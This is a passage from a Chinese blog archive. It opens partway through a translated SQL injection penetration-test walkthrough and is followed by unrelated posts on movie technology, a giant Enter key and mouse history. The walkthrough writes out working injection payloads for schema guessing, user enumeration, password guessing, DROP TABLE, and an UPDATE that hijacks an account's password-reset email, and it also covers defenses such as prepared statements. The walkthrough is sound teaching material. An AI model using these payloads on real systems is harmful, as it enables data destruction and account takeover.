目的是假定的查询语句的字段名(email),来试试SQL是不是有效。我不关心匹配的邮件地址是啥(我们用了个伪名’x’),’——’这个符号表示SQL注释的起始。对于去除应用末尾提供的引号,这是一个很有效的方式,我们不用在乎我们屏蔽掉的是啥。 如果我们得到了服务器错误,意味着SQL有不恰当的地方,并且语法错误会被抛出:更有可能是字段名有错。如果我们得到了任何有效的响应,我们就可以猜测这个字段名是正确的。这就是我们得到“email unknown”或“password was sent”响应的过程。 我们也可以用AND连接词代替OR:这是有意义的。在SQL的模式映射阶段,我们不需要为猜一个特定的邮件地址而烦恼,我们也不想应用随机的泛滥的给用户发“这是你的密码”的邮件 – 这不太好,有可能引起怀疑。而使用AND连接邮件地址,就会变的无效,我们就可以确保查询语句总是返回0行,永远不会生成密码提醒邮件。 提交上面的片段的确给了我们“邮件地址未知”的响应,现在我们知道邮件地址的确是存储在email字段名里。如果没有生效,我们可以尝试email_address或mail这样的字段名。这个过程需要相当多的猜测。 接下来,我们猜测其他显而易见的名字:password,user ID, name等等。每次只猜一个字段,只要响应不是“server failure”,那就意味着我们猜对了。 SELECT fieldlist FROM table WHERE email = 'x' AND userid IS NULL; --'; 在这个过程中,我们找到了几个正确的字段名: * email * passwd * login_id * full_name 无疑还有更多(有一个线索是表单中的字段名),一阵挖掘后没有发现更多了。但是我们依然不知道这些字段名的表名,它们在哪找到的? **寻找数据库表名** 应用的内建查询指令已经建立了表名,但是我们不知道是啥:有几个方法可以找到表名。其中一个是依靠subselect(字查询)。 **一个独立的查询** SELECT COUNT(*) FROM tabname 返回表里记录的数量,如果表名无效,查询就会失败。我们可以建立自己的字符串来探测表名: SELECT email, passwd, login_id, full_name FROM table WHERE email = 'x' AND 1=(SELECT COUNT(*) FROM tabname); --'; 我们不关心到底有多少条记录,只关心表名是不是正确。重复多次猜测以后,我们终于发现members是这个数据库里的有效表名。但它是用在这个查询里的么?所以我们需要另一个测试,使用table.field:实际查询的部分只工作在这个表中,而不是只要表存在就执行。 SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x' AND members.email IS NULL; --'; 当返回“Email unknown”时,就意味着我们的SQL注入成功了,并且我们正确的猜测出了表名。这对后面的工作很重要,但是我们暂时先试试其他的方法。 **找用户账号** 我们对members表的结构有了一个局部的概念,但是我们仅知道一个用户名:任意用户都可能得到“Here is your password”的邮件。回想起来,我们从未得到过信息本身,只有它发送的地址。我们得再弄几个用户名,这样就能得到更多的数据。 首先,我们从公司网站开始找几个人:“About us”或者“Contact”页通常提供了公司成员列表。通常都包含邮件地址,即使它们没有提供这个列表也没关系,我们可以根据某些线索用我们的工具找到它们。 LIKE从句可以进行用户查询,允许我们在数据库里局部匹配用户名或邮件地址,每次提交如果显示“We sent your password”的信息并且邮件也真发了,就证明生效了。 **警告** :这么做拿到了邮件地址,但也真的发了邮件给对方,这有可能引起怀疑,小心使用。 我们可以查询email name或者full name(或者推测出来的其他信息),每次放入%通配符进行如下查询: SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x' OR full_name LIKE '%Bob%'; 记住尽管可能不只有一个“Bob”,但我们只能看到一条信息:建议精炼LIKE从句。 **密码暴力破解** 可以肯定的是,我们能在登陆页进行密码的暴力破解,但是许多系统都针对此做了监测甚至防御。可能有的手段有操作日志,帐号锁定,或者其他能阻碍我们行动的方式,但是因为存在未过滤的输入,我们就能绕过更多的保护措施。 我们在构造的字符串里包含进邮箱名和密码来进行密码测试。在我们的例子中,我们用了受害者**[bob@example.com](mailto:bob@example.com)** 并尝试了多组密码。 SELECT email, passwd, login_id, full_name FROM members WHERE email = '
bob@example.com' AND passwd = 'hello123'; 这是一条很好使的SQL语句,我们不会得到服务器错误的提示,只要我们得到“your password has been mailed to you”的提示信息,就证明我们已经得到密码了。这时候受害人可能会警觉起来,但谁关心他呢,我们已经得到密码了。 这个过程可以使用perl脚本自动完成,然而,我们在写脚本的过程中,发现了另一种方法来破解系统。 # 数据库不是只读的 迄今为止,我们没做查询数据库之外的事,尽管SELECT是只读的,但不代表SQL只能这样。SQL使用分号表示结束,如果输入没有正确过滤,就没有什么能阻止我们在字符串后构造与查询无关的指令。 The most drastic example is: 这剂猛药是这样的: SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x'; DROP TABLE members; --'; -- Boom! 第一部分我们准备了一个伪造的email地址——‘X’——我们不关心查询结果返回什么:我们想要得到的只是我们自己构造的SQL指令。这次攻击删除了整个members表,这就不太好玩了。 这表明我们不仅仅可以切分SQL指令,而且也可以修改数据库。这是被允许的。 # 添加新用户 我们已经了解了members表的局部结构,添加一条新纪录到表里视乎是一个可行的方法:如果这成功了,我们就能简单的用我们新插入的身份登陆到系统了。 不要太惊讶,这条SQL有点长,我们把它分行显示以便于理解,但它依然是一条语句: SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x'; INSERT INTO members ('email','passwd','login_id','full_name') VALUES ('steve@unixwiz.net','hello','steve','Steve Friedl');--'; 即使我们得到了正确的字段名和表名,但在成功攻击之前我们还有几件事需要了解: 1. 在web表单里,我们可能没有足够的空间键入这么多文本(尽管可以用脚本解决,但并不容易)。 2. web应用可能没有members表的INSERT权限。 3. 母庸置疑,members表里肯定还有其他字段,有一些可能需要初始值,否则会引起INSERT失败。 4. 即使我们插入了一条新纪录,应用也可能不正常运行,因为我们无法提供值的字段名会自动插入NULL。 5. 一个正确的“member”可能额不仅仅只需要members表里的一条纪录,而还要结合其他表的信息(如,访问权限),因此只添加一个表可能不够。 在这个案例里,我们遇到了问题#4或#5,我们无法确定到底是哪个—— 因为用构造好的用户名登陆进去的时候,返回了服务器错误的提示。尽管这就暗示了我们那些没有构造的字段是必须的,但我们没有办法正确处理。 一个可行的办法是猜测其他字段,但这是一个劳力费神的过程:尽管我们可以猜测其他“显而易见”的字段,但要想得到整个应用的组织结构图太难了。 我们最后尝试了其他方式。 **把密码邮给我** 我们意识到虽然我们无法添加新纪录到members数据库里,但我们可以修改已经存在的,这被证明是可行的。 从上一步得知 **[bob@example.com](mailto:bob@example.com)** 账户在这个系统里,我们用SQL注入把数据库中的这条记录改成我们自己的email地址: SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x'; UPDATE members SET email = 'steve@unixwiz.net' WHERE email = 'bob@example.com'; 运行之后,我们自然得到了“we didn’t know your email address”的提示,但这在预料之中,毕竟我们用了假的email地址。UPDATE操作不会通知应用,因此它悄然执行了。 之后,我们使用了“I lost my password”的功能,用我们刚刚更新的email地址,一分钟后,我们收到了这封邮件: From: system@example.com To: steve@unixwiz.net Subject: Intranet login This email is in response to your request for your Intranet log in information. Your User ID is: bob Your password is: hello 现在,我们要做的就是跟随标准的登录流程进入系统,这是一个高等级职员,有高级权限,比我们INSERT的用户要好。 我们发现这个企业内部站点内容特别多,甚至包含了一个全用户列表,我们可以合理的推出许多内网都有同样的企业Windows网络帐号,它们可能在所有地方都使用同样的密码。我们很容易就能得到任意的内网密码,并且我们找到了企业防火墙上的一个开放的PPTP协议的VPN端口,这让登录测试变得更简单。 我们又挑了几个帐号测试都没有成功,我们无法知道是否是“密码错误”或者“企业内部帐号是否与Windows帐号名不同”。但是我们觉得自动化工具会让这项工作更容易。 # 其他方法 在这次特定的渗透中,我们得到了足够的权限,我们不需要更多了,但是还有其他方法。我们来试试我们现在想到的但不够普遍的方法。 我们意识到不是所有的方法都与数据库无关,我们可以来试试。 **调用xp_cmdshell** 微软的SQLServer支持存储过程xp_cmdshell有权限执行任意操作系统指令。如果这项功能允许web用户使用,那webserver被渗透是无法避免的。 迄今为止,我们做的都被限制在了web应用和数据库这个环境下,但是如果我们能执行任何操作系统指令,再厉害的服务器也禁不住渗透。xp_cmdshell通常只有极少数的管理员账户才能使用,但它也可能授权给了更低级的用户。 **绘制数据库结构** 在这个登录后提供了丰富功能应用上,已经没必要做更深的挖掘了,但在其他限制更多的环境下可能还不够。 能够系统的绘制出数据库可见结构,包含表和它们的字段结构,可能没有直接帮助。但是这为网站渗透提供了一条林萌大道。 从网站的其他方面收集更多有关数据结构的信息(例如,“留言板”页?“帮助论坛”等?)。不过这对应用环境依赖强,而且还得靠你准确的猜测。 **减轻危害** 我们认为web应用开发者通常没考虑到“有害输入”,但安全人员应该考虑到(包括坏家伙),因此这有3条方法可以使用。 **输入过滤** 过滤输入是非常重要的事,以确保输入不包含危险代码,无论是SQL服务器或HTM本身。首先想到的是剥掉“恶意字符”,像引号、分号或转义符号,但这是一种不太好的方式。尽管找到一些危险字符很容易,但要把他们全找出来就难了。 web语言本身就充满了特殊字符和奇怪的标记(包括那些表达同样字符的替代字符),所以想要努力识别出所有的“恶意字符”不太可能成功。 换言之,与其“移除已知的恶意数据”,不如移除“良好数据之外的所有数据”:这种区别是很重要的。在我们的例子中,邮件地址仅能包含如下字符: abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ 0123456789 @.-_+ 允许不正确的字符输入是没有任何好处的,应该早点拒绝它们 – 可能会有一些错误信息 – 不仅可以阻止SQL注入,也可以捕获一些输入错误而不是把它们存入数据库。 某个特殊的email地址会让验证程序陷入麻烦,因为每个人对于“有效”的定义不同。由于email地址中出现了一个你没有考虑到的字符而被拒绝,那真是糗大了。 真正的权威是[RFC 2822](http://rfc.net/rfc2822.html)(比RFC822内容还多),它对于”允许使用的内容“做了一个规范的定义。这种更学术的规范希望可以接受&和*(还有更多)作为有效的email地址,但其它人 – 包括作者 – 都乐于用一个合理的子集来包含更多的email地址。 那些采用更限制方法的人应当充分意识到没有包含这些地址会带来的后果,特别是限制有了更好的技术(预编译/执行,存储过程)来避免这些“奇怪”的字符带来的安全问题。 意识到“过滤输入”并不意味着仅仅是“移除引号”,因为即使一个“正规”的字符也会带来麻烦。在下面这个例子中,一个整型ID值被拿来和用户的输入作比较(数字型PIN): SELECT fieldlist FROM table WHERE id = 23 OR 1=1; -- Boom! Always matches! 在实践中,无论如何这个方法都有诸多限制,因为能够彻底排除所有危险字符的字段实在太少了。对于“日期”或者“email地址”或者“整型”,上面的办法是有价值的,但对于真实的环境,我们不可避免地要使用其他方式来减轻危害。 **输入项编码/转义** 现在可以过滤电话号码和邮件地址了,但你不能通过同样的方法处理“name”字段,要不然可能会排除掉Bill O’Reilly这样的名字:对于这个字段,这里的引号是合法的输入。 有人就想到过滤到单引号的时候,再加上一个引号,这样就没问题了 – 但是这么干要出事啊! 预处理每个字符串来替换单引号: SELECT fieldlist FROM customers WHERE name = 'Bill O''Reilly'; -- works OK 这个方法很容易出问题,因为大部分数据库都支持转码机制。像MySQL,允许输入’来替代单引号,因此如果输入 ‘; DROP TABLE users; **—** 时,通过两次引号来“保护”数据库,那我们将得到: SELECT fieldlist FROM customers WHERE name = '\''; DROP TABLE users; --'; -- Boom! **‘’’** 是一个完整的SQL语句(只包含一个引号),通常,恶意SQL代码就会紧跟其后。不光是反斜线符号的情况:像Unicode编码,其他的编码或者解析规则都会无意中给程序员挖坑。完美的过滤的很困难的,这就是为什么许多的数据库借口语言都提供函数给你使用。当同样的内容给“string quoting”和“string parsing”处理过后,会好一些,也更安全一些。 比如MySQL的函数**mysql_real_escape_string()** 和perl DBD 的 **$dbh- >quote($value)**方法,这些方法都是必用的。 **参数绑定 (预编译语句)** 尽管转义是一个有用的机制,但我们任然处于“用户输入被当做SQL语句”这么一个循环里。更好的方法是:预编译,本质上所有的数据库编程接口都支持预编译。技术上来说,SQL声明语句是用问号给每个参数占位创建的 – 然后在内部表中进行编译。 预编译查询执行时是按照参数列表来的: Perl中的例子 $sth = $dbh->prepare("SELECT email, userid FROM members WHERE email = ?;"); $sth->execute($email); 感谢Stefan Wagner帮我写了个java实现: 不安全版 Statement s = connection.createStatement(); ResultSet rs = s.executeQuery("SELECT email FROM member WHERE name = " + formField); // *boom* 安全版 PreparedStatement ps = connection.prepareStatement( "SELECT email FROM member WHERE name = ?"); ps.setString(1, formField); ResultSet rs = ps.executeQuery(); **$email** 是从用户表单获得的,它作为#1(第一个问号标记的地方)位置的参数传递过来,在任何情况下这条SQL声明都可以解析。引号,分号,反斜杠,SQL指令记号 – 任何字符都不会产生特殊效果,因为它们“只是数据”而已。这不会对其他东西造成破坏,因此这个应用很大程度上防范了SQL注入攻击。 如果预编译查询语句多次(只编译一次)执行,也会带来性能上的提升,但是与大量安全方面的巨大提升相比,这显得微不足道。这可能是我们保证web应用安全最重要的一步。 **限制数据库权限和隔离用户** 在这个案例中,我们观察到只有两个交互动作不在登录用户的上下文环境中:“登录”和“发密码给我”。web应用应该对数据库连接做权限的限制:对于members表只能读,并且无法操作其他表。 作用是即使一次“成功的”SQL注入攻击也只能得到非常有限的成功。噢,我们将不能做有授权的UPDATE请求,我们要求助于其他方法。 一旦web应用确定登录表单传递来的认证是有效的,它就会切换会话到一个有更多权限的用户上。 对任何web应用而言,不使用sa权限几乎是根本不用说的事。 **对数据库的访问采用存储过程** 如果数据库支持存储过程,请使用存储过程来执行数据库的访问行为,这样就不需要SQL了(假设存储过程编程正确)。 把查询,更新,删除等动作规则封装成一个单独的过程,就可以针对基础规则和所执行的商业规则来完成测试和归档(例如,如果客户超过了信用卡限额,“添加新记录”过程可能拒绝订单)。 对于简单的查询这样做可能仅仅能获得很少的好处,不过一旦操作变复杂(或者被用在更多地方),给操作一个单独的定义,功能将会变得更稳健也更容易维护。 注意:动态构建一个查询的存储过程是可以做到的:这么做无法防止SQL注入 – 它只不过把预编译/执行绑定到了一起,或者是把SQL语句和提供保护的变量绑定到了一起。 **隔离web服务器** 实施了以上所有的防御措施,仍然可能有某些地方有遗漏,导致了服务器被渗透。设计者应该在假定坏蛋已经获得了系统最高权限下来设计网络设施,然后把它的攻击对其他事情产生的影响限制在最小。 例如,把这台机器放置在极度限制出入的DMZ网络“内部”,这么做意味着即便取得了web服务器的完全控制也不能自动的获得对其他一切的完全访问权限。当然,这么做不能阻止所有的入侵,不过它可以使入侵变的非常困难。 **配置错误报告** 一些框架的错误报告包含了开发的bug信息,这不应该公开给用户。想象一下:如果完整的查询被现实出来了,并且指出了语法错误点,那要攻击该有多容易。 对于开发者来说这些信息是有用的,但是它应该禁止公开 – 如果可能 – 应该限制在内部用户访问。 注意:不是所有的数据库都采用同样的方式配置,并且不是所有的数据库都支持同样的SQL语法(“S”代表“结构化”,不是“标准的”)。例如,大多数版本的MySQL都不支持子查询,而且通常也不允许单行多条语句(multiple statements):当你渗透网络时,实际上这些就是使问题复杂化的因素。 * * * 再强调一下,尽管我们选择了“忘记密码”链接来试试攻击,但不是因为这个功能不安全。而是几个易攻击的点之一,不要把焦点聚集在“忘记密码”上。 这个教学示例不准备全面覆盖SQL注入的内容,甚至都不是一个教程:它仅仅是一篇我们花了几小时做的渗透测试的记录。我们看了其他的关于SQL注入文章的讨论,但它们只给出了结果而没有给出过程。 但是那些结果报告需要技术背景才能看懂,并且渗透细节也是有价值的。在没有源代码的情况下,渗透人员的黑盒测试能力也是有价值的。 感谢 [David Litchfield](http://www.ngssoftware.com/) 和 [Randal Schwartz](http://www.stonehenge.com/merlyn/)对本文的贡献,还有[Chris Mospaw](http://www.mospaw.com/)的排版(© 2005 by Chris Mospaw, used with permission). # 其他资源 * [(more) Advanced SQL Injection](http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf), Chris Anley, Next Generation Security Software. * [SQL Injection walkthrough](http://www.securiteam.com/securityreviews/5DP0N1P76E.html), SecuriTeam * [GreenSQL](http://www.greensql.net/), an open-source database firewall that tries to protect against SQL injection errors — note; I don’t have any direct experience with this tool * [“Exploits of a Mom”](http://xkcd.com/327/) — Very good xkcd cartoon about SQL injection * [SQL Injection Cheat Sheet](http://ferruh.mavituna.com/makale/sql-injection-cheatsheet/) — by Ferruh Mavituna * [This page translated into Belorussian](http://www.webhostinghub.com/support/by/edu/sql-injection-be) by Bohdan Zograf (thanks!) ### 相关文章 * [8个实用且免费的Web应用程序安全测试工具](http://blog.jobbole.com/23097/) * [PHP中该怎样防止SQL注入?](http://blog.jobbole.com/67875/) * [10个SQL注入工具](http://blog.jobbole.com/17763/) * [通过 HTTP 头进行 SQL 注入](http://blog.jobbole.com/35764/) * [关于Linkedin-Intro的钓鱼研究 ](http://blog.jobbole.com/53304/) * [我是如何反编译D-Link路由器固件程序并发现其后门](http://blog.jobbole.com/49959/) * [我是如何在腾达路由器固件程序上发现漏洞的](http://blog.jobbole.com/52181/) * [XSS 前端防火墙(3):无懈可击的钩子](http://blog.jobbole.com/71488/) * [隐藏在JPG图片EXIF头部中的恶意软件](http://blog.jobbole.com/19304/) * [黑客故事:如何接管Java/Clojure/Scala程序员的电脑](http://blog.jobbole.com/75167/) [实例讲解 SQL 注入攻击](http://blog.jobbole.com/83092/),首发于[博客 – 伯乐在线](http://blog.jobbole.com)。 --- ## 电影里的这些黑科技哪个将先实现? Date: 2015-01-05 URL: https://blog.wo.ai/archives/892 Categories: Uncategorized [![281213032944267](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/98b8b8288d_fdfe27da7d4817e02fe71fe3446c8bf1.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/98b8b8288d_fdfe27da7d4817e02fe71fe3446c8bf1.jpg "电影里的这些黑科技哪个将先实现?") 一般来说,当前人类无法实现的技术或者产品统称为“黑科技”,而不少电影和电视中都出现过。人工智能、意识转移、时空穿越,这些从一开始都是人们想象出来的。不过随着技术的进步,这些概念中的想法也在一步步逼近现实。 本期《问题来了》带你走近那些大片里的“黑科技”,看它们离实现还有多远。 [![la_ca_1023_interstellar](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ceda8eda8a_82f227ccf1161461d5876df0a57927ae.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ceda8eda8a_82f227ccf1161461d5876df0a57927ae.jpg "电影里的这些黑科技哪个将先实现?") ## 1\. 《星际穿越》:人工智能机器人 片中出现了 3 个具有人工智能的机器人,其中的塔斯(TARS)让人印象深刻。常态下它是一个方方正正的盒子,但它可以在液、固两态之间随意切换,有高效的认知能力和强大的变形能力。尤其是当布兰德博士在水行星上遭遇浪击,塔斯能迅速变形移动救险。 目前的技术水平还不足以制造一个真正的变形机器人,但是美国的研究人员发现了稀有金属铟镓合金,在一定条件下可以实现固液态的转换,起码从理论和技术的层面论证了液态金属机器人的可能性。 [![281213040754394](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1d1ed15143_abec0d98e933624da52a38f541ac1d9c.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1d1ed15143_abec0d98e933624da52a38f541ac1d9c.jpg "电影里的这些黑科技哪个将先实现?") ## 2\. 《黑镜》:意识提取+物联网 物联网近几年成为热门的概念,那么该如何实现?《黑镜》给出的答案是——克隆你的意识。 剧中把人的意识副本放进一个小型设备中,让其为你打理一切事务。于是,你有了一个最好的仆人——你自己。你的这个意识副本成为家中的智能中枢。天亮了,它调节阳光、室温和音乐唤醒你;当你饿了,它可以自动连接烤箱为你烤出面包;想看电视,它知道你想看哪个频道…… 虽然物联网正在成为一种趋势,各种家庭智能设备不断涌现,但是用意识副本的方式来实现家庭互联,不失为一种大胆的想象,但还不能实现。 [![281213032632510](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/23cbd094c5_300bd2e5ffcde8759d4742d6c844363c.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/23cbd094c5_300bd2e5ffcde8759d4742d6c844363c.jpg "电影里的这些黑科技哪个将先实现?") ## 3\. 《超体》:聪明药 CPH4 CPH4 为《超体》中的一种蓝色颗粒状物质。电影中 CPH4 意外进入女主角身体,反而给了她超于常人的力量:包括心灵感应、瞬间吸收知识、吸引金属等技能,绝处逢生为女超人。 根据电影交代,CPH4 是人类母体在怀孕期间产生的一种物质, 虽然只有少量, 但已足够提供给胎儿的骨骼成长。但现实中 CPH4 只是分子物理学的一个理想状态,目前无法被证实。 [![281213034662981](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/e9c09c8f0b_fd9e98d9fb9c3523027e2203fe9dd791.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/e9c09c8f0b_fd9e98d9fb9c3523027e2203fe9dd791.jpg "电影里的这些黑科技哪个将先实现?") ## 4\. 《钢铁侠》:触控交互和人工智能 从第一部到第三部,托尼·斯塔克家中的豪华实验室内都会出现触控屏幕的身影。与之相辉映的是,钢铁侠的人工智能管家贾维斯。 贾维斯是超智能软件,能独立思考,还会帮助钢铁侠处理各种事务,计算各种信息。 目前的苹果语音助手 Siri、谷歌的 Google Now、微软的 Cortana 都具备了一定的智能。不过它们能做的事还非常有限,因此应用也不广泛。不过在未来,智能助手将会发挥越来越大的作用。 [![281213037782951](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ed95cdf08d_0d992453581855ce01bb5fde2495840d.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ed95cdf08d_0d992453581855ce01bb5fde2495840d.jpg "电影里的这些黑科技哪个将先实现?") ## 5\. 《阿凡达》:“身外化身”技术 电影《阿凡达》中那神奇的“身外化身”技术让人向往不已,通过思想控制技术,也就是人的大脑与机器人的互动,可以实现由人的大脑意念来控制机器人。 此前有报道称,以色列一名学生在功能性磁共振成像仪中,用意念成功操控 2000 公里之外法国贝济耶科技学院的一个人形机器人进行移动。虽然只是初步的尝试,不过已经让人们对“身外化身”的未来充满遐想。 [![281213032944267](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/21a8ffc21a_fdfe27da7d4817e02fe71fe3446c8bf11.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/21a8ffc21a_fdfe27da7d4817e02fe71fe3446c8bf11.jpg "电影里的这些黑科技哪个将先实现?") ## 6\. 《黑衣人》:独轮车 电影《黑衣人》3 中,K、J双人组驾驶的独轮车外观独树一帜,与传统汽车形态大不相同。 从外观上看,这台独轮车就是在传统的机车轮毂上,负载一个滑轮用于传动,当机车发动机运转牵引轮毂转动后,外圈滑轮也会随之转动,和齿轮传动概念类似。 虽然目前有独轮电动车,也有不少民间发明家模仿《黑衣人》独轮车的设计,不过离影片中的酷炫感觉还差很远。 [![281213040917623](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/432eadf6a9_858db3a5dc7b442094d3cc8973425eb2.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/432eadf6a9_858db3a5dc7b442094d3cc8973425eb2.jpg "电影里的这些黑科技哪个将先实现?") ## 7\. 《007 系列》:X光眼镜 007 系列电影《黑日危机》中,男主角佩戴了一副X光眼镜。表面看起来跟墨镜无异,但却能扫描敌人的武器装备。 尽管X光机已被应用到不同行业,但还无法把它整合到微小的镜片当中。谷歌眼镜已经可以拍照和录像,未来有望发挥更大的功用。 [![281213041695366](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f4a27dd7e9_26a76d3854992a404ef557d07b16620b.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f4a27dd7e9_26a76d3854992a404ef557d07b16620b.jpg "电影里的这些黑科技哪个将先实现?") ## 8\. 《回到未来》:时光车 1985 年上映的电影《回到未来》将汽车和时光机融为一体,电影中主角马帝·麦佛莱在布朗博士遇袭后驾驶时光车偶然穿越到 30 年前,这在当时引起了非常大的轰动,和一些电影中出现的科技现象和产品不同,时光机因为违背物理定律而暂时不可能存在,但人们对穿越到过去和未来的设想却从未停止过。 看了这些电影中的这些黑科技,问题来了,你认为人类能先用上哪一种?你想拥有哪一种能力? ### 相关文章 * [极客必看的八部电影](http://www.geekfan.net/3881/) * [不靠谱! 世界杯上曾经使用过的坑爹“黑科技”](http://www.geekfan.net/9572/) * [一个愚蠢的极客把戏:在linux终端上看电影 ](http://www.geekfan.net/7594/) * [一次 3D 打印房屋的实践](http://www.geekfan.net/8034/) * [发短信没意思?发送气味吧](http://www.geekfan.net/9901/) * [指尖上的手势操作—智能扳指 Fin](http://www.geekfan.net/9317/) * [不占用耳机孔、支持多个按钮的智能按钮](http://www.geekfan.net/9364/) * [创意产品:口袋打印机器人](http://www.geekfan.net/8517/) * [美宇航局研发未来设备:快速愈合伤口治疗疼痛](http://www.geekfan.net/7173/) * [谷歌眼镜拍下的15张神奇照片](http://www.geekfan.net/9553/) [电影里的这些黑科技哪个将先实现?](http://www.geekfan.net/13694/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## [转]缘是天意 份在人为 Date: 2015-01-05 URL: https://blog.wo.ai/archives/890 Categories: Life 生命本是一场奇异的旅行,遇见谁都是一个美丽的意外。有愿才会有缘,如果无愿,即使有缘的人,也会擦身而过。缘是天意,份在人为。无论缘深缘浅,缘长缘短,得到即是造化。或许,真的,人生苦短,缘来不易,所以我们都应该好好珍惜,并用宽容与豁达,去对待生命的每一个人,每一件事…… --- ## 程序员减压利器 超大型独立回车键任你锤 Date: 2014-12-25 URL: https://blog.wo.ai/archives/888 Categories: Uncategorized [![bigenter560x492](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/a6eb3423c2_63aa250ca139bb2f5d8b9cea164a6085.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/a6eb3423c2_63aa250ca139bb2f5d8b9cea164a6085.jpg "程序员减压利器 超大型独立回车键任你锤")强迫症患者伤不起,尤其是IT行业的强迫症。无时无刻不对着电脑,写程序、编辑网页、修改资料库,林林总总。客户上司当你是万能修改员,无数次改完又改;同事当你是电脑技工,软件硬件问题都由你包办。时间一久难免经常不顺心,键盘就“近水楼台”地成了你的出气筒。此起彼伏的“哒哒……啪!”回车键是不是已经按爆了?接下来这款产品就可以拯救你的键盘啦。 [![24074033_DtXv](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/69562b118f_2e9bdb587f87d81c9356d0712503f141.png)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/69562b118f_2e9bdb587f87d81c9356d0712503f141.png "程序员减压利器 超大型独立回车键任你锤")[![24074033_QfF6](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f308756a18_673c35ae872f884b280b82bf554fd3e9.png)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f308756a18_673c35ae872f884b280b82bf554fd3e9.png "程序员减压利器 超大型独立回车键任你锤")[![24074033_Oi7F](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/7a3ef518d5_cb6b6c9551f449fd2c517d484c9950e7.png)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/7a3ef518d5_cb6b6c9551f449fd2c517d484c9950e7.png "程序员减压利器 超大型独立回车键任你锤")[![24074033_MPlm](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/516b098144_a05f955d76854884cf4b00cfaae1e597.png)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/516b098144_a05f955d76854884cf4b00cfaae1e597.png "程序员减压利器 超大型独立回车键任你锤") 这个产品长得非常直接,看一眼就知道是放大版的回车键。插上电脑 USB 接口,质感就和你家真皮沙发似的,随便你怎么按,反正不会爆~ 这款 Big Enter 一经发售就异常火爆,200 个先行版已经销售一空,想要购买就得等下一批了。不知设计师会不会考虑再弄个空格或 F5 键? ### 相关文章 * [10个帮程序员减压放松的网站!](http://www.geekfan.net/13468/) * [看看这15个充满创意的数码产品及配件](http://www.geekfan.net/8274/) * [专为极客打造的19件礼物](http://www.geekfan.net/13371/) * [盘点充满创意的DIY手机 堪比中国山寨机](http://www.geekfan.net/9696/) * [树莓派热点回顾第8期](http://www.geekfan.net/7326/) * [数据说话:怎样的程序员最抢手?](http://www.geekfan.net/13575/) * [Quora精选:码农的噩梦](http://www.geekfan.net/13309/) * [11个技巧让那些程序员对你刮目相看](http://www.geekfan.net/13487/) * [程序员的鄙视链](http://www.geekfan.net/13530/) * [让程序员最挠头的9大任务,你认同几项?](http://www.geekfan.net/13526/) [程序员减压利器 超大型独立回车键任你锤](http://www.geekfan.net/13640/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## 鼠标变形史:都是你想不到的奇葩 Date: 2014-12-23 URL: https://blog.wo.ai/archives/886 Categories: Uncategorized [![Prototype of the 1st mouse computer presented in 1968 \(invented in 1963 by Douglas C. Engelbart\)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0dba35bca3_a79015254702b735c4c7ecaca74dc3f1.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0dba35bca3_a79015254702b735c4c7ecaca74dc3f1.jpg "鼠标变形史:都是你想不到的奇葩")鼠标自60年代中期诞生以来,经历了无数次的变化,这些变化使得它使用起来更舒适、更符合人体工程学、也更方便人们携带。本文会带你重温鼠标从简陋到如今未来感十足的历程。 ## 房子中的鼠标 [![54858f1187955](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/5af16b530b_ccdd2deb5506cf5f080c90d8cafcdf9c.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/5af16b530b_ccdd2deb5506cf5f080c90d8cafcdf9c.jpg "鼠标变形史:都是你想不到的奇葩")在1968年的Mother of All Demos(展示之母)上,来自斯坦福研究院(SRI)的Douglas Engelbart向全世界展示了多种计算机科技,及在接口方面的突破。在众多的展品中就有完成于1964年的鼠标原型。在当时,人们习惯的将鼠标称为“显示系统的X-Y位置指示器”。这个鼠标原型有着两个轮子,以及木头的外壳,鼠标可以在水平和垂直方向运动。SRI提交的这项专利在1970年获得通过,并最终授权给苹果、施乐等公司。 ## 左右转动的鼠标 [![54858f188f3f4](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/deef64b962_e8558ed0d0f5cad83816ec9fde751ad8.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/deef64b962_e8558ed0d0f5cad83816ec9fde751ad8.jpg 